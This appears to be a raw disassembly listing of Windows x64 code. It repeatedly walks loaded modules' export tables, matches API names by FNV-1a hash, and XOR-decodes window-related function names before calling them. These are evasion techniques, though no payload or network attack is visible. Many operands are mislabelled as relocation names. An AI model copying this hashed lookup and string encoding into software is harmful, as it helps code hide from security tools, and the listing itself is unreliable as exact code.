imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140049e50
cmp r8d, 0xf8f45725
je 0x140049e7b
test r9d, r9d
jne 0x140049e30
mov rcx, qword [rcx]
jmp 0x140049e00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x47
call fcn.140048c80
mov byte [rbp - 8], al
mov edx, 1
mov cl, 0x65
call fcn.140048c80
mov byte [rbp - 7], al
mov edx, 2
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rbp - 6], al
mov edx, 3
mov cl, 0x57
call fcn.140048c80
mov byte [rbp - 5], al
mov edx, 4
mov cl, 0x69
call fcn.140048c80
mov byte [rbp - 4], al
mov edx, 5
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rbp - 3], al
mov edx, 6
mov cl, 0x64
call fcn.140048c80
mov byte [rbp - 2], al
mov edx, 7
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp - 1], al
mov edx, 8
mov cl, 0x77
call fcn.140048c80
mov byte [rbp], al
mov edx, 9
mov cl, 0x52
call fcn.140048c80
mov byte [rbp + 1], al
mov edx, 0xa
mov cl, 0x65
call fcn.140048c80
mov byte [rbp + 2], al
mov edx, ntohl
mov cl, 0x63
call fcn.140048c80
mov byte [rbp + 3], al
mov edx, recv
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rbp + 4], al
xor eax, eax
mov byte [rbp + 5], al
mov edx, esi
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 8]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xd
jb 0x140049f60
mov byte [rbp + 5], 0
lea rdx, [rbp - 8]
mov rcx, r14
call rbx
mov qword [rbp - 0x48], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14004a016
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14004a016
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004a011
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140049ff0
cmp r8d, 0xf8f45725
je 0x14004a01b
test r9d, r9d
jne 0x140049fd0
mov rcx, qword [rcx]
jmp 0x140049fa0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x53
call fcn.140048c80
mov byte [rbp - 0x78], al
mov edx, 1
mov cl, 0x65
call fcn.140048c80
mov byte [rbp - 0x77], al
mov edx, 2
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rbp - 0x76], al
mov edx, 3
mov cl, 0x54
call fcn.140048c80
mov byte [rbp - 0x75], al
mov edx, 4
mov cl, 0x69
call fcn.140048c80
mov byte [rbp - 0x74], al
mov edx, 5
mov cl, 0x6d
call fcn.140048c80
mov byte [rbp - 0x73], al
mov edx, 6
mov cl, 0x65
call fcn.140048c80
mov byte [rbp - 0x72], al
mov edx, 7
mov cl, WSAStartup
call fcn.140048c80
mov byte [rbp - 0x71], al
xor eax, eax
mov byte [rbp - 0x70], al
mov edx, esi
nop
movsxd rax, edx
lea rcx, [rbp - 0x78]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 8
jb 0x14004a0b0
mov byte [rbp - 0x70], 0
lea rdx, [rbp - 0x78]
mov rcx, r14
call rbx
mov qword [rbp - 0x78], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14004a166
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14004a166
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004a161
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14004a140
cmp r8d, 0xf8f45725
je 0x14004a16b
test r9d, r9d
jne 0x14004a120
mov rcx, qword [rcx]
jmp 0x14004a0f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x4d
call fcn.140048c80
mov byte [rbp - 0x58], al
mov edx, 1
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp - 0x57], al
mov edx, 2
mov cl, 0x76
call fcn.140048c80
mov byte [rbp - 0x56], al
mov edx, 3
mov cl, 0x65
call fcn.140048c80
mov byte [rbp - 0x55], al
mov edx, 4
mov cl, 0x57
call fcn.140048c80
mov byte [rbp - 0x54], al
mov edx, 5
mov cl, 0x69
call fcn.140048c80
mov byte [rbp - 0x53], al
mov edx, 6
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rbp - 0x52], al
mov edx, 7
mov cl, 0x64
call fcn.140048c80
mov byte [rbp - 0x51], al
mov edx, 8
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp - 0x50], al
mov edx, 9
mov cl, 0x77
call fcn.140048c80
mov byte [rbp - 0x4f], al
xor eax, eax
mov byte [rbp - 0x4e], al
mov edx, esi
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x58]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xa
jb 0x14004a220
mov byte [rbp - 0x4e], 0
lea rdx, [rbp - 0x58]
mov rcx, r14
call rbx
mov qword [rbp - 0x58], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14004a2d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14004a2d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004a2d1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14004a2b0
cmp r8d, 0xf8f45725
je 0x14004a2db
test r9d, r9d
jne 0x14004a290
mov rcx, qword [rcx]
jmp 0x14004a260
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x47
call fcn.140048c80
mov byte [rsp + 0x20], al
mov edx, 1
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x21], al
mov edx, 2
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rsp + 0x22], al
mov edx, 3
mov cl, 0x53
call fcn.140048c80
mov byte [rsp + 0x23], al
mov edx, 4
mov cl, 0x79
call fcn.140048c80
mov byte [rsp + 0x24], al
mov edx, 5
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140048c80
mov byte [rsp + 0x25], al
mov edx, 6
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rsp + 0x26], al
mov edx, 7
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x27], al
mov edx, 8
mov cl, 0x6d
call fcn.140048c80
mov byte [rsp + 0x28], al
mov edx, 9
mov cl, 0x4d
call fcn.140048c80
mov byte [rsp + 0x29], al
mov edx, 0xa
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x2a], al
mov edx, ntohl
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rsp + 0x2b], al
mov edx, recv
mov cl, WSAStartup
call fcn.140048c80
mov byte [rsp + 0x2c], al
mov edx, reloc.WS2_32.dll_listen
mov cl, 0x69
call fcn.140048c80
mov byte [rsp + 0x2d], al
mov edx, reloc.WS2_32.dll_ntohl
mov cl, 0x63
call fcn.140048c80
mov byte [rsp + 0x2e], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140048c80
mov byte [rsp + 0x2f], al
xor eax, eax
mov byte [rsp + 0x30], al
mov edx, esi
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0x10
jb 0x14004a400
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x20]
mov rcx, r14
call rbx
mov qword [rbp - 8], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14004a4b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14004a4b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004a4b1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14004a490
cmp r8d, 0xf8f45725
je 0x14004a4bb
test r9d, r9d
jne 0x14004a470
mov rcx, qword [rcx]
jmp 0x14004a440
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x47
call fcn.140048c80
mov byte [rbp - 0x38], al
mov edx, 1
mov cl, 0x65
call fcn.140048c80
mov byte [rbp - 0x37], al
mov edx, 2
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rbp - 0x36], al
mov edx, 3
mov cl, 0x43
call fcn.140048c80
mov byte [rbp - 0x35], al
mov edx, 4
mov cl, 0x75
call fcn.140048c80
mov byte [rbp - 0x34], al
mov edx, 5
mov cl, WSAStartup
call fcn.140048c80
mov byte [rbp - 0x33], al
mov edx, 6
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140048c80
mov byte [rbp - 0x32], al
mov edx, 7
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp - 0x31], al
mov edx, 8
mov cl, WSAStartup
call fcn.140048c80
mov byte [rbp - 0x30], al
mov edx, 9
mov cl, 0x50
call fcn.140048c80
mov byte [rbp - 0x2f], al
mov edx, 0xa
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp - 0x2e], al
mov edx, ntohl
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140048c80
mov byte [rbp - 0x2d], al
xor eax, eax
mov byte [rbp - 0x2c], al
mov edx, esi
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x38]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xc
jb 0x14004a590
mov byte [rbp - 0x2c], 0
lea rdx, [rbp - 0x38]
mov rcx, r14
call rbx
mov qword [rsp + 0x20], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14004a646
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14004a646
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004a641
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14004a620
cmp r8d, 0xf8f45725
je 0x14004a64b
test r9d, r9d
jne 0x14004a600
mov rcx, qword [rcx]
jmp 0x14004a5d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x47
call fcn.140048c80
mov byte [rsp + 0x38], al
mov edx, 1
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x39], al
mov edx, 2
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rsp + 0x3a], al
mov edx, 3
mov cl, 0x57
call fcn.140048c80
mov byte [rsp + 0x3b], al
mov edx, 4
mov cl, 0x69
call fcn.140048c80
mov byte [rsp + 0x3c], al
mov edx, 5
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x3d], al
mov edx, 6
mov cl, 0x64
call fcn.140048c80
mov byte [rsp + 0x3e], al
mov edx, 7
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x3f], al
mov edx, 8
mov cl, 0x77
call fcn.140048c80
mov byte [rsp + 0x40], al
mov edx, 9
mov cl, 0x4c
call fcn.140048c80
mov byte [rsp + 0x41], al
mov edx, 0xa
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x42], al
mov edx, ntohl
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x43], al
mov edx, recv
mov cl, 0x67
call fcn.140048c80
mov byte [rsp + 0x44], al
mov edx, reloc.WS2_32.dll_listen
mov cl, 0x41
call fcn.140048c80
mov byte [rsp + 0x45], al
xor eax, eax
mov byte [rsp + 0x46], al
mov edx, esi
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x38]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xe
jb 0x14004a750
mov byte [rsp + 0x46], 0
lea rdx, [rsp + 0x38]
mov rcx, r14
call rbx
mov qword [rbp - 0x38], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14004a806
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14004a806
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004a801
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14004a7e0
cmp r8d, 0xf8f45725
je 0x14004a80b
test r9d, r9d
jne 0x14004a7c0
mov rcx, qword [rcx]
jmp 0x14004a790
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x4c
call fcn.140048c80
mov byte [rbp - 0x68], al
mov edx, 1
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp - 0x67], al
mov edx, 2
mov cl, 0x61
call fcn.140048c80
mov byte [rbp - 0x66], al
mov edx, 3
mov cl, 0x64
call fcn.140048c80
mov byte [rbp - 0x65], al
mov edx, 4
mov cl, 0x4c
call fcn.140048c80
mov byte [rbp - 0x64], al
mov edx, 5
mov cl, 0x69
call fcn.140048c80
mov byte [rbp - 0x63], al
mov edx, 6
mov cl, 0x62
call fcn.140048c80
mov byte [rbp - 0x62], al
mov edx, 7
mov cl, WSAStartup
call fcn.140048c80
mov byte [rbp - 0x61], al
mov edx, 8
mov cl, 0x61
call fcn.140048c80
mov byte [rbp - 0x60], al
mov edx, 9
mov cl, WSAStartup
call fcn.140048c80
mov byte [rbp - 0x5f], al
mov edx, 0xa
mov cl, 0x79
call fcn.140048c80
mov byte [rbp - 0x5e], al
mov edx, ntohl
mov cl, 0x57
call fcn.140048c80
mov byte [rbp - 0x5d], al
xor eax, eax
mov byte [rbp - 0x5c], al
mov edx, esi
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x68]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xc
jb 0x14004a8e0
mov byte [rbp - 0x5c], 0
lea rdx, [rbp - 0x68]
mov rcx, r15
call rbx
mov qword [rbp - 0x28], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14004a996
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14004a996
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004a991
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14004a970
cmp r8d, 0xf8f45725
je 0x14004a99b
test r9d, r9d
jne 0x14004a950
mov rcx, qword [rcx]
jmp 0x14004a920
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x44
call fcn.140048c80
mov byte [rsp + 0x38], al
mov edx, 1
mov cl, 0x77
call fcn.140048c80
mov byte [rsp + 0x39], al
mov edx, 2
mov cl, 0x6d
call fcn.140048c80
mov byte [rsp + 0x3a], al
mov edx, 3
mov cl, 0x45
call fcn.140048c80
mov byte [rsp + 0x3b], al
mov edx, 4
mov cl, 0x78
call fcn.140048c80
mov byte [rsp + 0x3c], al
mov edx, 5
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rsp + 0x3d], al
mov edx, 6
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x3e], al
mov edx, 7
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x3f], al
mov edx, 8
mov cl, 0x64
call fcn.140048c80
mov byte [rsp + 0x40], al
mov edx, 9
mov cl, 0x46
call fcn.140048c80
mov byte [rsp + 0x41], al
mov edx, 0xa
mov cl, WSAStartup
call fcn.140048c80
mov byte [rsp + 0x42], al
mov edx, ntohl
mov cl, 0x61
call fcn.140048c80
mov byte [rsp + 0x43], al
mov edx, recv
mov cl, 0x6d
call fcn.140048c80
mov byte [rsp + 0x44], al
mov edx, reloc.WS2_32.dll_listen
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x45], al
mov edx, reloc.WS2_32.dll_ntohl
mov cl, 0x49
call fcn.140048c80
mov byte [rsp + 0x46], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x47], al
mov edx, reloc.WS2_32.dll_recv
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rsp + 0x48], al
mov edx, reloc.WS2_32.dll_recvfrom
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x49], al
mov edx, reloc.WS2_32.dll_select
mov cl, 0x43
call fcn.140048c80
mov byte [rsp + 0x4a], al
mov edx, reloc.WS2_32.dll_send
mov cl, 0x6c
call fcn.140048c80
mov byte [rsp + 0x4b], al
mov edx, reloc.WS2_32.dll_sendto
mov cl, 0x69
call fcn.140048c80
mov byte [rsp + 0x4c], al
mov edx, reloc.WS2_32.dll_setsockopt
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x4d], al
mov edx, reloc.WLDAP32.dll_Ordinal_22
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x4e], al
mov edx, reloc.WS2_32.dll_socket
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rsp + 0x4f], al
mov edx, Ordinal_26
mov cl, 0x41
call fcn.140048c80
mov byte [rsp + 0x50], al
mov edx, Ordinal_26
mov cl, WSAStartup
call fcn.140048c80
mov byte [rsp + 0x51], al
mov edx, reloc.WLDAP32.dll_Ordinal_26
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x52], al
mov edx, reloc.WLDAP32.dll_Ordinal_27
mov cl, 0x61
call fcn.140048c80
mov byte [rsp + 0x53], al
xor eax, eax
mov byte [rsp + 0x54], al
mov edx, esi
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x38]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0x1c
jb 0x14004ab80
mov byte [rsp + 0x54], 0
lea rdx, [rsp + 0x38]
mov rcx, r12
call rbx
mov qword [rbp - 0x68], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14004ac36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14004ac36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004ac31
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14004ac10
cmp r8d, 0xf8f45725
je 0x14004ac3b
test r9d, r9d
jne 0x14004abf0
mov rcx, qword [rcx]
jmp 0x14004abc0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x53
call fcn.140048c80
mov byte [rsp + 0x38], al
mov edx, 1
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x39], al
mov edx, 2
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rsp + 0x3a], al
mov edx, 3
mov cl, 0x4c
call fcn.140048c80
mov byte [rsp + 0x3b], al
mov edx, 4
mov cl, 0x61
call fcn.140048c80
mov byte [rsp + 0x3c], al
mov edx, 5
mov cl, 0x79
call fcn.140048c80
mov byte [rsp + 0x3d], al
mov edx, 6
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x3e], al
mov edx, 7
mov cl, WSAStartup
call fcn.140048c80
mov byte [rsp + 0x3f], al
mov edx, 8
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x40], al
mov edx, 9
mov cl, 0x64
call fcn.140048c80
mov byte [rsp + 0x41], al
mov edx, 0xa
mov cl, 0x57
call fcn.140048c80
mov byte [rsp + 0x42], al
mov edx, ntohl
mov cl, 0x69
call fcn.140048c80
mov byte [rsp + 0x43], al
mov edx, recv
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x44], al
mov edx, reloc.WS2_32.dll_listen
mov cl, 0x64
call fcn.140048c80
mov byte [rsp + 0x45], al
mov edx, reloc.WS2_32.dll_ntohl
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x46], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, 0x77
call fcn.140048c80
mov byte [rsp + 0x47], al
mov edx, reloc.WS2_32.dll_recv
mov cl, 0x41
call fcn.140048c80
mov byte [rsp + 0x48], al
mov edx, reloc.WS2_32.dll_recvfrom
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rsp + 0x49], al
mov edx, reloc.WS2_32.dll_select
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rsp + 0x4a], al
mov edx, reloc.WS2_32.dll_send
mov cl, WSAStartup
call fcn.140048c80
mov byte [rsp + 0x4b], al
mov edx, reloc.WS2_32.dll_sendto
mov cl, 0x69
call fcn.140048c80
mov byte [rsp + 0x4c], al
mov edx, reloc.WS2_32.dll_setsockopt
mov cl, 0x62
call fcn.140048c80
mov byte [rsp + 0x4d], al
mov edx, reloc.WLDAP32.dll_Ordinal_22
mov cl, 0x75
call fcn.140048c80
mov byte [rsp + 0x4e], al
mov edx, reloc.WS2_32.dll_socket
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rsp + 0x4f], al
mov edx, Ordinal_26
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x50], al
mov edx, Ordinal_26
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140048c80
mov byte [rsp + 0x51], al
xor eax, eax
mov byte [rsp + 0x52], al
mov edx, esi
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x38]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0x1a
jb 0x14004ae00
mov byte [rsp + 0x52], 0
lea rdx, [rsp + 0x38]
mov rcx, r14
call rbx
mov qword [rsp + 0x38], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14004aeb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14004aeb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004aeb1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14004ae90
cmp r8d, 0xf8f45725
je 0x14004aebb
test r9d, r9d
jne 0x14004ae70
mov rcx, qword [rcx]
jmp 0x14004ae40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x53
call fcn.140048c80
mov byte [rbp + 0x58], al
mov edx, 1
mov cl, 0x65
call fcn.140048c80
mov byte [rbp + 0x59], al
mov edx, 2
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rbp + 0x5a], al
mov edx, 3
mov cl, 0x57
call fcn.140048c80
mov byte [rbp + 0x5b], al
mov edx, 4
mov cl, 0x69
call fcn.140048c80
mov byte [rbp + 0x5c], al
mov edx, 5
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rbp + 0x5d], al
mov edx, 6
mov cl, 0x64
call fcn.140048c80
mov byte [rbp + 0x5e], al
mov edx, 7
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp + 0x5f], al
mov edx, 8
mov cl, 0x77
call fcn.140048c80
mov byte [rbp + 0x60], al
mov edx, 9
mov cl, 0x50
call fcn.140048c80
mov byte [rbp + 0x61], al
mov edx, 0xa
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp + 0x62], al
mov edx, ntohl
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140048c80
mov byte [rbp + 0x63], al
xor eax, eax
mov byte [rbp + 0x64], al
mov edx, esi
